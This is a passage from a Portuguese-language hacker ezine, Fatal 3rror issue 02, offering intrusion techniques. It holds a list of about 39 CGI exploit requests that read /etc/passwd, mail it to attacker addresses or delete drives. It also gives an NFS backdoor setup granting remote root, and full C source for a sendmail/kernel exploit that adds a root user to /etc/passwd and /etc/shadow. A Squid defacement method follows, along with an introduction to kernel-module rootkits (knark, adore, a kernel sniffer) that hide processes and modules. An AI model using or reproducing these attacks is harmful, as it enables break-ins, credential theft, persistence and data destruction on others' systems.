Copy Link
Add to Bookmark
Report

Fatal 3rror - No. 02

eZine's profile picture
Published in 
Fatal 3rror
 · 17 Jul 2022

       ________________________     _______________________________ 
/ __________ _______ / /_____ _____by_Cheat_Struck__/
/ /__ ___ / /___ / / ___/ /___ ___ __ ___
/ ___// o \ / // o \ / / /__ // o \ / o \ / \ / o \
/ / / _ // // _ // /___ _____/ // _ // _ // O // _ /
/__/ / //_// // //_//_____/ /_______// / \_\ / \_\\__// / \_\
)/ )/ )/ )/ )/ )/
' ' ' ' ' '

Yeah. I like do that...

Fatal 3rror
Edition.......02
Date..........1/8/0
By............Cheat Struck
Email.........cszine@xoommail.com
Page..........http://struck.8m.com/f3





_xXXXP^'' ``^YXXXx_
_xXXXXP~ 00 - T0PiCZ ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~



.od[ 00 ]bo. T0PiCZ (u read me) / Cheat Struck
.od[ 01 ]bo. Introduction / Cheat Struck
.od[ 02 ]bo. TiPZ / Cheat Struck
.od[ 03 ]bo. CGIS / Cheat Struck
.od[ 04 ]bo. NFS Backd00r / Cheat Struck
.od[ 05 ]bo. Sendmail Bug / s0laris
.od[ 06 ]bo. Racking Squid / Cheat Struck
.od[ 07 ]bo. LKM Tips & Tricks / pcHazard
.od[ 08 ]bo. PING backd00r / pcHazard
.od[ 09 ]bo. Bind Scan / Cheat Struck
.od[ 10 ]bo. System Bugs / Cheat Struck
.od[ 11 ]bo. vulnerabilidade do lilo.conf / kamikase shell
.od[ 12 ]bo. hardroot / kamikase shell
.od[ 13 ]bo. PEQUENO MANUAL PARA OS HOMENS NA BALADA
/ humortadela
.od[ 14 ]bo. Achando rastros de um ataque / Cheat Struck
.od[ 15 ]bo. Fraudando Orelhoes a cartao / TPGA
.od[ 16 ]bo. Attrition Scan / Cheat Struck
.od[ 17 ]bo. Sniffing Simples / Cheat Struck
.od[ 18 ]bo. Mais 1 programa l33t / Anonymous
.od[ 19 ]bo. Emails / Cheat Struck
.od[ 20 ]bo. Th3 3nd / Cheat Struck






_xXXXP^'' ``^YXXXx_
_xXXXXP~ 01 - Introduction ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Eu estou tao certo q ninguem vai ler isto (exeto talvez por amigos e
conhecidos q esperem q eu fale sobre eles) q no lugar de perder meu tempo
escrevendo como a zine ta boa, vou simplesmente contar uma piada.

Era uma vez uma mulher. Ela ja havia se casado 3 vezes porem nenhum dos
casamentos deu certo. No 1o o marido batia muito nela; no 2o o marido fugiu
e a deixou com todas as dividas pra pagar; e no 3o o kra nao era bom de
cama. Cansada de procurar um 4o casamento, ela colocou um anuncio no jornal
contando sua historia e o problema dos 3 maridos.
No dia seguinte bate na campainha de sua casa um alejadinho. A mulher
indignada perguntou:
- Mas eu acho q voce nao entendeu direito... Voce leu todo o anuncio?
E o alejadinho respondeu:
- Claro! Eu sou o homem perfeito pra voce. Nao posso te bater pois nao
tenho bracos. Nao posso fugir pq nao tenho pernas.
- E como eu vou saber se voce eh bom de cama?
- Com o que voce acha q eu toquei a campainha??

Huahauhauhauhauha!!!!! Acho q da pra encerrar a introducao aki neh??










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 02 - TiPZ ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~



Autores dessa edicao:
---------------------

Cheat Struck <cszine@xoommail.com>
Kamikase Shell <kamikaseshell@bahia.net>
pcHazard <pchazard@ig.com.br>
s0laris <>
TPGA <tpga@bol.com.br>





Onde baixar a Fatal 3rror???
----------------------------

ttp://members.xoom.com/cszine/f3
http://struck.8m.com/f3





Extraindo a f3 e seus programas:
--------------------------------

[root@localhost ~]# tar -zxvf f3-02.tgz
f3/
f3/f3-02.txt
f3/extract.c
f3/pingback.tar.gz
f3/lkm.tar.gz
[root@localhost ~]# cd f3
[root@localhost f3]# gcc extract.c -o extract
[root@localhost f3]# ./extract f3-01.txt
- Extracting sendmail/ex.c
- Extracting sendmail/add.c
- Extracting sendmail/mail
- Extracting sendmail/.forward
- Extracting bindscan/bhs.c
- Extracting bindscan/bscan21.c
- Extracting systembug/vul1.c
- Extracting systembug/vul2.c
- Extracting systembug/vul3.c
- Extracting systembug/cardctl-ex.sh
- Extracting attr/at-scan.pl
- Extracting sniff/sniff.c
- Extracting Superprogs/magico.c
[root@localhost f3]#









_xXXXP^'' ``^YXXXx_
_xXXXXP~ 03 - CGIS ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~



Notei que a ultima small-list de cgis q eu compilei (publicada na tdk)
fez um sucesso inesperado sendo copiada em diversos lugares... Agora dou
a voces uma verdadeira lista com quase 40 cgis e seus respectivos
xploits-lines.
Alguns cgis (tipo count), que precisam de programas para fazer o xploit
remoto, nao foram colocados na lista para poupar espaco.
Aproveitem, mas c forem copiar esta lista ou qquer coisa da zine por
favor coloquem o respectivo autor.


**************************
*01 PHF
Executa comandos remotos.
GET /cgi-bin/phf?Qalias=x%0acat%20/etc/passwd

**************************
*02 CAMPAS
Executa comandos remotos.
GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a

**************************
*03 INFO2WWW
Executa comandos remotos.
GET /cgi-bin/info2www '(../../../../../../../bin/mail jami </etc/passwd|)'

**************************
*04 FAXSURVEY
Executa comandos remotos.
GET /cgi-bin/faxsurvey?/bin/cat%20/etc/passwd

**************************
*05 WHOIS_RAW.CGI
Executa comandos remotos.
GET /cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd

**************************
*06 WEBDIST.CGI
Executa comandos remotos.
GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

**************************
*07 QUERY
Executa comandos remotos.
GET /cgi-bin/query?%0a/bin/cat%20/etc/passwd

**************************
*08 ECHO
Executa comandos remotos.
GET /cgi-bin/echo?%0Acat%20/etc/passwd

**************************
*09 HANDLER
Executa comandos remotos.
GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=Download

**************************
*10 UPLOADER.EXE
Executa comandos remotos.
(from RWX)
Eh muito simples...
Primeiro vc cria um CGI-Script malefico, que execute algo do tipo:
"net user Administrator rwxr0x /y" isso.. ia mudar a senha do Administrator
pra 'rwxr0x'.. bem o que o script faz fica a seu criterio, depois, mande um
QUERY pra 'http://www.victim.org/cgi-win/uploader.exe', onde vc encontrara'
os Forms do UPLOADER, mande o CGI-Script e depois va com seu browser para o
diretorio indicado pelo proprio UPLOADER apos o envio do arquivo.
Vualah...vc muda a senha do root!:)

**************************
*11 WIN-C-SAMPLE.EXE
Executa comandos remotos.
GET /cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C6Lj%01V%8A%06%FF%E6%FF%D4%83%C6Lj%01V
%8A%FF%E6%FF%D4%83%C6Lj%01V%8A%FF%E6%FF%D4%83%C6Lj%01V%8A%FF%E6%FF%D4%83%C6
Lj%01V%8Adeltree_/y_c:

**************************
*12 BIZDB1-SEARCH.CGI
Executa comandos remotos.
GET /cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%20
attacker@attacker-host|&f6=^a.*&action=searchdbdisplay
HTTP/1.0
Host: target
Referer: http://target/cgi-bin/bizdb1-search.cgi?bizdb-search

**************************
*13 EXCITE
Executa comandos remotes.
GET /cgi-bin/excite;IFS="$";/bin/cat /etc/passwd|mail your_email_here;

**************************
*14 VIEW-SOURCE
Ver conteudo de arquivos.
GET /cgi-bin/view-source?../../../../../../../etc/passwd

**************************
*15 PFDISPALY.CGI
Ver conteudo de arquivos.
GET /cgi-bin/pfdispaly.cgi?/../../../../etc/passwd

**************************
*16 PHP.CGI
Ver conteudo de arquivos.
GET /cgi-bin/php.cgi?/etc/passwd

**************************
*17 HTMLSCRIPT
Ver conteudo de arquivos.
GET /cgi-bin/htmlscript?../../../../etc/passwd

**************************
*18 CARBO.DLL
Ver conteudo de arquivos.
GET /carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog

**************************
*19 CONVERT.BAS
Ver conteudo de arquivos.
GET /scripts/convert.bas?../../etc/passwd

**************************
*20 HTSEARCH
Ver conteudo de arquivos.
GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60

**************************
*21 SEARCH97.VTS
Ver conteudo de arquivos.
GET /search97.vts
?HLNavigate=On&querytext=dcm
&ServerKey=Primary
&ResultTemplate=../../../../../../../etc/passwd
&ResultStyle=simple
&ResultCount=20
&collection=books

**************************
*22 WEBPLUS
Ver conteudo de arquivos.
GET /cgi-bin/webplus?script=/../../../../etc/passwd

**************************
*23 SHOWCODE.ASP
Ver conteudo de arquivos.
GET /msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../../boot.ini

**************************
*24 WEBSENDMAIL
Envia arquivos para seu email.
POST /cgi-bin/websendmail HTTP/1.0
Content-length: 90
(Mude pelo tamanho da string q sera enviada.)
receiver=;mail+your_address\@somewhere.org</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a

**************************
*25 WEBGAIS
Envia arquivos para seu email.
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85
(Mude pelo tamanho da string q sera enviada.)
query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph

**************************
*26 WWW-SQL
Ver arquivos com restricted access.
GET /cgi-bin/www-sql/protected/something.html

**************************
*27 W3-MSQL
Ver arquivos com restricted access.
GET /cgi-bin/w3-msql/protected-directory/.htpasswd

**************************
*28 SERVICE.PWD
Ver conteudo do arquivo de senhas.
GET /_vti_pvt/service.pwd

**************************
*29 GWWEB.EXE
Ler qualquer arquivo .htm no server
GET /cgi-bin/GW5/GWWEB.EXE?HELP=../../../secret.htm

**************************
*30 NEWDSN.EXE
Cria arquivos de 0 bytes em qquer diretorio.
(Issu cria /wwwroot/evil.html)
GET /scripts/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb
%29&dsn=Evil+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb
=CREATE_DB&attr=

**************************
*31 NPH-TEST-CGI
Ver conteudo de diretorios.
GET /cgi-bin/nph-test-cgi?*

**************************
*32 TEST-CGI
Ver conteudo de diretorios.
GET /cgi-bin/test-cgi?/*

**************************
*33 WRAP
Ver conteudo de diretorios.
GET /cgi-bin/wrap?/../../../../../etc

**************************
*34 SEARCH.CGI
Ver conteudo de diretorios.
GET /cgi-bin/search.cgi?letter=..\..\..\..\winnt

**************************
*35 WGUEST.EXE
Ver conteudo de diretorios.
GET /cgi-bin/wguest.exe?template=c:\boot

**************************
*36 VISADMIN.EXE
Hdd full!!
GET /cgi-bin/visadmin.exe?user=guest

**************************
*37 HTIMAGE
Retorna o PATH dos htmls.
GET /cgi-bin/htimage.exe?2.2

**************************
*38 FINGER
Infos sobre o sistema.
GET /cgi-bin/finger?@localhost

**************************
*39 AGLIMPSE
???GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5your_address\@your_computer.com\










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 04 - NFS Backd00r ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


tipo... vai em /etc/exports e coloque a linha:

/ *(rw,map_static=/etc/nfs.map)

Agora edite o /etc/nfs.map:

uid <seu_uid> 0
gid <seu_gid> 0

Substitua <seu_uid>, <seu_gid> pelos seus respectivos ids.
Agora resete o mountd:

~# killall -1 rfc.mountd

E prontu....

~# showmount -e host.backdado
Export list for host.backdado:
/ *
~# mount -t nfs host.backdado:/ /nfs
~# cd /nfs
~#

Agora c tem root remotly....
RLZ!!!











_xXXXP^'' ``^YXXXx_
_xXXXXP~ 05 - Sendmail Bug ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ s0laris _dXXXXP~
~YXXXbx.. ..xdXXXP~



A t3kn33k que eu vou explicar aqui pode ser aplicada em qualquer maquina linux
que esteja usando o kernel 2.2.15, OU MAIS ANTIGO e esteja rodando o sendmail,
nas versoes INFERIORES a 8.10.2. Hummm... se voce fizer uma pesquisa, vai
descobrir que mais 90% das maquinas linux, rodando como servidores estao dentro
desse perfil. Nota: o kernel 2.2.16 esta patcheado, porem no 2.4.0 (o mais novo,
ainda instavel) o bug nao foi corrigido.

Bom, para ter sucesso basta ter uma conta no sistema. Portanto nao se pode obter
permissoes de r00t remotamente usando esta tecnica.

Vamos ao que interessa. Envie por ftp os arquivos:

<++> sendmail/ex.c
#include <linux/capability.h>

int main (void) {
cap_user_header_t header;
cap_user_data_t data;

header = malloc(8);
data = malloc(12);

header->pid = 0;
header->version = _LINUX_CAPABILITY_VERSION;

data->inheritable = data->effective = data->permitted = 0;
capset(header, data);

execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);

} 
<-->
<++> sendmail/add.c
#include <fcntl.h>

int main (void) {
int fd;
char string[40];

seteuid(0);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
strcpy(string, "yomama::11029:0:99999:7:::");
write(fd, string, strlen(string));
close(fd);

}
<-->
<++> sendmail/mail
From: yomama@foobar.com
To: localuser@localdomain.com
Subject: foo
bar
.
<-->
<++> sendmail/.forward
|./add
<-->

Detalhe: esses arquivos devem ficar no diretorio do usuario.
Pronto, depois dos arquivo enviados, logue no sistema e compile o ex.c e o
add.c.

# gcc -o add add.c
# gcc -o ex ex.c

Agora faca o seguinte:

# ./ex < mail
# su yomama

Voce r00teou a maquina!!

Agora vou explicar por alto o q o exploit faz. Ele explora um bug do kernel e
faz com que o daemon sendmail (q eh executado pelo root), atraves de um envio
de e-mail, insira uma linha no /etc/passwd e /etc/shadow da maquina, criando
assim um usuario, q sera chamado no caso de yomama. Basta dar uma lida nos
fontes dos explois que vc vera rapidinho como ele funciona.

s0laris










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 06 - Racking Squid ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Squid e' um proxy para web que suporta FTP, gopher e HTTP.
Vamos dar uma olhada nas permissoes do /etc/squid...

[root@localhost squid]# ls -la
total 167
drwxr-xr-x 4 nobody nobody 1024 abr 14 05:49 .
drwxr-xr-x 35 root root 3072 jun 7 02:09 ..
drwxr-xr-x 2 nobody nobody 1024 abr 14 05:49 errors
drwxr-xr-x 2 nobody nobody 1024 abr 14 05:49 icons
-rw-r--r-- 1 nobody nobody 24135 dez 14 1998 mib.txt
-rw-r--r-- 1 nobody nobody 6820 dez 14 1998 mime.conf
-rw-r--r-- 1 nobody nobody 6820 dez 14 1998 mime.conf.default
-rw-r--r-- 1 nobody nobody 60878 dez 14 1998 squid.conf
-rw-r--r-- 1 nobody nobody 60878 dez 14 1998 squid.conf.default

Entao basta ter acesso nobody para que possamos configurar o squid.
Como conseguimos acesso nobody??
Xploitando os famosos cgis... C voce conseguir executar um comando
remotly atraves de cgis do tipo phf, campas ou faxsurvey, crie uma
suidshell. Depois loge-se e execute a suidshell. Pronto! Vc eh nobody. Ou
seja ninguem!!!!
Mas esse "ninguem" pode mudar os files de configuracao do squid.
Vamos dar uma olhada em algo bem maneiro que podemos fazer... veja os
arquivos em /etc/squid/errors. Lah estao os htmls de todas as mensagens de
erros do squid.
Um exemplo:
Edite o arquivo /etc/squid/errors/ERR_INVALID_URL.
Mude tudo... coloque a msg q voce quizer... tipo "Voce errou o url seu
otario. Escreve direito ou eu vou explodir seu hd"
.
Agora restarte o squid. Sim, o user nobody pode fazer issu tambem.
And its done!
Soh pra lembrar... a porta padrao do squid eh 3128.











_xXXXP^'' ``^YXXXx_
_xXXXXP~ 07 - LKM Tips & Tricks ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ pcHazard _dXXXXP~
~YXXXbx.. ..xdXXXP~



Primeiro, gostaria de parabenizar essa zine por ser um dos zines brasileiros
sobre seguranca que, apesar de ser relativamente nova possui um grande nivel
de informacao, e eu particulamente gostei dela porque nao fica "enchendo
linguica"
com aquelas *coisinhas* que vc aprende lendo, por exemplo, uma
pagina de manual do MAN ou qq outra coisa obvia e que qualquer um sabe...
Essa e' a primeira vez que escrevo para uma zine e espero escrever muito
mais... Issue que vem, quem sabe.

Eu tenho uma teoria a respeito de zines: seria melhor se, ao inves das
pessoas fazerem seus proprios zines ( por exemplo, 100 zines diferentes com
umas 5 materias cada e uma tiragem de 2 issues :-O ), podia haver apenas um
zine e as pessoas escreveriam suas materias e a enviariam para esse unico
zine que, dentro de pouco tempo se tornaria uma verdadeira "knowledge base"
sobre seguranca etc...

Mas isso e' so' uma teoria. Agora, vamos deixar de papo e ir ao que
realmente interessa no momento...

Ao ler essa secao, considere que tudo aqui foi "testado e aprovado" na
minha maquina Linux ( Slack 7 c/ kernel 2.2.13 ), e que caso as coisas citadas
aqui nao funcione na sua maquina, tente atualizar seu Linux em geral para uma
versao mais nova, pois so os kernels da serie 2.1.x em diante se nao me engano
possuem suporte a LKM ( ha' tambem algums modulos para 2.0.x mas que
sao diferentes dos novos como, por exemplo, no tratamento de informacoes como
IRQ etc. de uma certa placa especificados como parametro no momento da
instalacao do modulo no kernel ), e por isso os programas que acompanham a
zine nao funcionariam.

.--------------.
.-----------' LKM Tips `-------------.
| |
| Introducao, Conceitos basicos e principais |
| funcoes de gerenciamento |
`--------------------------------------------'

------------------------------
| LKM = Loadable Kernel Module |
------------------------------

Essa maravilha foi criada com o intuito de facilitar o suporte a outros
hardwares etc. sem a necessidade de se adicionar um codigo fonte ao kernel do
linux e ter que recompilar o kernel... Por exemplo, se voce possui seu som
configurado corretamente no linux, e' provavel que esteja usando modulos como,
por exemplo, mpu401.o etc.

Os LKMs sao feitos em C (nao conheco outra linguagem que gere LKMs) e sua
funcao principal e' definida como init_module() e nao main() como se costuma
usar em programas comuns. A funcao cleanup_module() e' chamada quando se
desinstala o modulo do kernel. Devido ao fato de LKMs trabalham a nivel de
kernel (equivalente aos .VXD do Windows), interagindo diretamente com ele,
eles so podem ser manuseados pelo Administrador do Sistema, ou qualquer um
que consiga nivel de root em algum host ( a parte mais interessante... )

Para permitir uma maior flexibilidade e compatibilidade com diversas
configuracoes, os modulos tambem podem receber instrucoes sobre enderecamento,
IRQ etc. de certas placas na hora em que sao instalados no kernel. Note isso
no arquivo /etc/conf.modules, que chama o modulo /lib/modules/2.2.13/misc/
mpu401.o usando o endereco 0x330 p/ entrada e saida da placa de som e usa o
irq=11 ( no meu caso eu uso a placa de som CMI8330 onboard ) e o modulo
/lib/modules/2.2.13/misc/sb.o usando o endereco 0x220 p/ IO, irq 5, dma=1 e
dma16 = 5, configuracoes estas que devem ser definidas corretamente para que
tudo funcione normalmente.
No meu caso, eu olhei os enderecamentos e IRQs na configuracao do Win95
( enfim, util para alguma coisa...) e com o programa CMIUTIL.EXE que vem no
CD da placa mae. Ha' casos tambem em que pode-se usar LKMs para configurar
alguns dos temidos WinModems.



Para ajudar a entender isso, veja alguns comandos relacionados a modulos
no kernel:


LSMOD Lista os modulos abertos no kernel.
Esta lista e' um "cat" do arquivo /proc/modules


localhost:/home/pchazard# lsmod
Module Size Used by
mpu401 18640 0 (unused)
sb 33236 0 (unused)
uart401 5872 0 [sb]
sound 57176 0 [mpu401 sb uart401]
soundlow 224 0 [sound]
soundcore 2116 6 [sb sound]
iBCS 135456 0
pcmcia_core 39080 0
bsd_comp 3568 0 (unused)
ppp 20428 0 [bsd_comp]
slip 7188 0 (unused) <-- note esse aqui
slhc 4300 0 [ppp]
lp 5660 0 (unused)
parport_pc 5588 1
parport 6724 1 [lp parport_pc]


localhost:/home/pchazard# cat /proc/modules
mpu401 18640 0 (unused)
sb 33236 0 (unused)
uart401 5872 0 [sb]
sound 57176 0 [mpu401 sb uart401]
soundlow 224 0 [sound]
soundcore 2116 6 [sb sound]
iBCS 135456 0
pcmcia_core 39080 0
bsd_comp 3568 0 (unused)
ppp 20428 0 [bsd_comp]
slip 7188 0 (unused)
slhc 4300 0 [ppp]
lp 5660 0 (unused)
parport_pc 5588 1
parport 6724 1 [lp parport_pc]

localhost:/home/pchazard# cat /etc/conf.modules
alias sound sb
alias midi mpu401
options mpu401 io=0x330 irq=11
options sb io=0x220 irq=5 dma=1 dma16=5


RMMOD Remove algum modulo do kernel


localhost:/home/pchazard# rmmod slip
localhost:/home/pchazard# lsmod
Module Size Used by
mpu401 18640 0 (unused)
sb 33236 0 (unused)
uart401 5872 0 [sb]
sound 57176 0 [mpu401 sb uart401]
soundlow 224 0 [sound]
soundcore 2116 6 [sb sound]
iBCS 135456 0
pcmcia_core 39080 0
bsd_comp 3568 0 (unused)
ppp 20428 0 [bsd_comp]
slhc 4300 0 [ppp]
lp 5660 0 (unused)
parport_pc 5588 1
parport 6724 1 [lp parport_pc]


INSMOD Insere um modulo no kernel
Repare que os modulos, a medida que vao sendo inseridos no
kernel vao ficando no topo da lista. Notar isso vai ser
importante para entender como nos podemos tirar proveito dos
LKMs aonde nos seriam ainda mais uteis... E sem serem detec-
tados !!!


localhost:/home/pchazard# insmod mymodule.o
localhost:/home/pchazard# lsmod
Module Size Used by
mymodule 15216 0 (unused) <-- olha ele aqui
mpu401 18640 0 (unused)
sb 33236 0 (unused)
uart401 5872 0 [sb]
sound 57176 0 [mpu401 sb uart401]
soundlow 224 0 [sound]
soundcore 2116 6 [sb sound]
iBCS 135456 0
pcmcia_core 39080 0
bsd_comp 3568 0 (unused)
ppp 20428 0 [bsd_comp]
slhc 4300 0 [ppp]
lp 5660 0 (unused)
parport_pc 5588 1
parport 6724 1 [lp parport_pc]



DEPMOD Ele "escaneia" os modulos guardados no diretorio padrao para
modulos ( no caso, /lib/modules/2.2.13/ ) e cria uma lista de
simbolos encontrados nesses modulos que chamaremos de
"Lista de Dependencias" que e' salva no arquivo
/lib/modules/2.2.13/modules.dep.
Essa lista e' posteriormente usada pelo comando MODPROBE que
veremos mais adiante. Um exemplo do uso dos comandos depmod e
modprobe esta' no arquivo /etc/rc.d/rc.modules. Esses dois
comandos usam tambem o arquivo /etc/conf.modules como base da
lista de modulos a serem usados pelo sistema.


MODPROBE Ele usa a Lista de Dependencias para localizar e abrir
automaticamente os modulos que o sistema ou o usuario precisara
usar junto com o kernel. Ele e' executado na hora em que o
Linux e' carregado pelo script /etc/rc.d/rc.modules.



Mais exemplos do uso desses comandos podem ser encontrados nas
paginas MAN do linux e no Mini-Howto Modules


.--------------.
.----------------' LKM Tricks `-------------------.
| Ou voce achou que algo tao legal como os LKMs so' |
| serviriam para configurar sua placa de som ? |
`-------------------------------------------------------'


E' como se diz hoje em dia: qualquer coisa pode ser usada tanto para o bem
como para o "mal". E porque que com os LKMs seria diferente?

Por atuar em conjunto com o kernel, ha' varias coisas curiosas que podem
ser feitas usando os recursos dos LKMs. Na internet ha' varios exemplos de
LKMs para download em que se usa funcoes como capacidade de esconder arquivos
e processos de listagens ( nada dos antigos ls.c e ps.c que se encontram
naqueles rootkits... ), redirecionameto de executaveis, esconder algumas
portas da listagem do NETSTAT, executar comandos como r00t local e remotamente
e ate' sniffers...

Mas, como tudo que e' bom tem seus "porems"...

Devido ao fato dos LKMs trabalharem em conjunto com o kernel, e' necessario
que eles sejam bem escritos, ou poderao aparecer erros inesperados (e fatais)
Aconteceu comigo mesmo, depois de dar um "shutdown -r now" com o modulo
knark aberto o kernel entrou em pane antes de rebootar a maquina, mas isso so'
aconteceu uma vez. Logo, deixo bem claro que nao me responsabilizo por
eventuais danos que os modulos venham a causar ( apesar de ser dificil eles
causarem um dano como danificar o sistema de arquivos etc,mesmo sendo fechados
"na tora" ) e, por isso, se voce sabe o que e' bom pra voce, evite testar
modulos pela primeira vez em alguma maquina que esteja sendo usada como
servidor de rede etc. porque ela pode travar etc. Mas, quanto aos modulos
abaixo, eu garanto que vale a pena dar uma olhada neles,e depois que estiverem
seguros do seu bom funcionamento, voce pode usa-los como parte de seu rootkit
pessoal etc. Enfim, como voce bem entender e como for mais util a voce.

Pra galera que ta comecando agora e ja ta ficando com agua na boca, eu nao
podia deixar de disponibilizar pro pessoal alguns LKMs que eu achei por ai'
na net...

Os exemplos de LKMs estao no arquivo lkm.tar.gz que acompanha a zine.
Para descompactar:

localhost:/root/zines/f3# gzip -d lkm.tar.gz
localhost:/root/zines/f3# tar xvf lkm.tar
lkm/heroin.c
lkm/knark-0_59.tar
lkm/krnsniff.c
lkm/linspy.tar
lkm/adore14.tar
localhost:/root/zines/f3# cd lkm
localhost:/root/zines/f3# tar xvf knark-0_59.tar
knark-0.59/
knark-0.59/README
knark-0.59/Makefile
knark-0.59/src/
knark-0.59/src/ered.c
knark-0.59/src/hidef.c
knark-0.59/src/knark.c
knark-0.59/src/modhide.c
knark-0.59/src/rootme.c
knark-0.59/src/taskhack.c
knark-0.59/src/knark.h
knark-0.59/src/rexec.c
knark-0.59/src/nethide.c
knark-0.59/src/author_banner.c
localhost:/root/zines/f3# cd knark-0.59
localhost:/root/zines/f3/lkm/knark-0.59# make

...


.------------.
| heroin `--------------------------------------------------.
`=================-=-====--==-=-=-===----==---=-=---=-=--- -- - -

Escrito por Runar Jensen <zarq@opaque.org>
Eu nao consegui compilar ele na minha maquina,
mas decidi mandar ele tambe'm, afinal se ja' funcionou
na maquina de alguem, pode funcionar na sua tb...


.------------.
| linspy `--------------------------------------------------.
`=================-=-====--==-=-=-===----==---=-=---=-=--- -- - -

Esse veio com a phrack 50...
E' um modulo para permitir interagir com outros
TTYs. Nao compilou na minha maquina.

.------------.
| adore `--------------------------------------------------.
`=================-=-====--==-=-=-===----==---=-=---=-=--- -- - -

Esse e' um dos novos, chama a atencao pela capacidade
de esconder uma determinada porta definida no Makefile do
netstat... Ele e' o mais novo que conheco. E' pequeno e suas
funcoes sao chamadas por apenas um prograva (ava.c). Possui uma
maneira mais inteligente de se auto-remover da lista de modulos.
Ao contrario do knark que se usa o modhide.o, o adore ja' possui
uma funcao que tira seu nome da lista de modulos.

.------------.
| krnsniff `--------------------------------------------------.
`=================-=-====--==-=-=-===----==---=-=---=-=--- -- - -

Como eu havia dito, eis um sniffer em LKM !!!
O arquivo de log fica em /tmp/sniff.log mas pode ser trocado nos fontes.
insmod krnsniff.o [dev=<device>]


.------------.
| knark `--------------------------------------------------.
`=================-=-====--==-=-=-===----==---=-=---=-=--- -- - -

E' um pacote muito legal (e que funciona...)
Vem com os fontes e instrucoes sobre como compilar e usar.
Conteudo (apos compilado):

knark.o
O Modulo propriamente dito.
Possui algumas particularidades, como por exemplo:

1. Escondendo Processos
Enviando-se um SIGNAL 31 para um processo, ele ficara' invisivel da
lista de processos do LS e TOP....
Nao funcionou na minha maquina.

2. Encobrir Sniffers

SNIFFER: Programa usado para capturar senhas de conexoes. Captura as
primeiras "linhas" de texto de uma conexao atras da secao de
identificacao ( USER/PASS, login/password ). Ex: linsniffer, gdd13,
sniffit.

INTERFACE: Nome usado para representar um dispositivo de acesso a alguma
rede. Por exemplo, quando voce entra na internet, a interface ppp0 e'
ativa. Se voce esta em uma rede local, voce esta com a interface eth0
ligada, e se voce esta so' com seu Linux so' como Desktop para uso
pessoal vc possui a interface "lo" ligada. Para listar as interfaces:
ifconfig.

